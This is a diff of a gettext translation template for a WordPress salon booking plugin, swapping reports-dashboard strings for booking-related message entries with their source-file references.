views\u002Fadmin\u002Freports-dashboard.php:61, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:61, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:61\n-msgid \"To:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:8\n+msgid \"Booking manual confirmation\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:64, views\u002Fshortcode\u002F_salon_summary_add_tips.php:33, views\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:64, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:64, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:54, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:31\n-msgid \"Apply\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:24\n+msgid \"Booking My Account\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:71, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:71, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:71\n-msgid \"Shop:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1935\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1935\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:39\n+msgid \"Booking not found\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:73, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:73, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:73\n-msgid \"All Shops\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:23\n+msgid \"Booking not found.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:350\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:890\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:350\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:890\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:79\n+msgid \"Booking notes\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:82, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:82, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:82\n-msgid \"Refresh\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:45\n+msgid \"Booking number\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:86, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:86, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:86, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:86, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:86\n-msgid \"Export\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:12\n+msgid \"Booking page\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:96, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:96, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:96, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:86, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:96, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:96\n-msgid \"Loading dashboard data...\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:196\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:196\n+msgid \"Booking Patterns - Peak Times Heatmap\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:110, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:110, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:110, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:110, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:110\n-msgid \"Total Revenue\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:302\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:302\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:31\n+msgid \"Booking Price\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:116, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:116, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:116, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:136, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:116, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:116\n-msgid \"Avg. Booking Value\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:625\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:625\n+msgid \"Booking published.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:129, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:129, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:129, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:111, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:129, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:129\n-msgid \"Total Bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:84\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:84\n+msgid \"Booking rescheduled\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:134, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:134, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:134, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:116, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:134, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:134\n-msgid \"Cancellation Rate:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:21\n+msgid \"Booking rescheduling\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:138, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:138, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:120, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:138\n-msgid \"Lost Revenue:\"\n+#. %s will be replaced by the revision title\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:621\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:621\n+#, php-format\n+msgid \"Booking restored to revision from %s\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:155, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:155, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:155, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:147, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:155, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:155\n-msgid \"Unique Customers\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:33\n+msgid \"Booking Review\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:164, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:164, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:161, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:164\n-msgid \"Rebooking Rate (60d)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:108\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:179\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:108\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:179\n+msgid \"Booking Rule\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:176, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:176, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:176, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:172, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:176, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:176\n-msgid \"Revenue & Bookings Trend\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:14\n+msgid \"Booking Rules\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:178, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:178, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:174, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:178\n-msgid \"Chart visualization will be implemented with Chart.js\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:36\n+msgid \"Booking rules\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:184, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:184, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:180, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:184\n-msgid \"Booking Patterns - Peak Times Heatmap\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:627\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:627\n+msgid \"Booking saved.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:186, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:186, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:182, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:186\n-msgid \"Loading heatmap...\"\n+#. %1$s will be replaced by the date\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:633\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:633\n+#, php-format\n+msgid \"Booking scheduled for: \u003Cstrong>%1$s\u003C\u002Fstrong>.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:192, views\u002Fadmin\u002Freports-dashboard.php:277, views\u002Fadmin\u002Freports-dashboard.php:345, 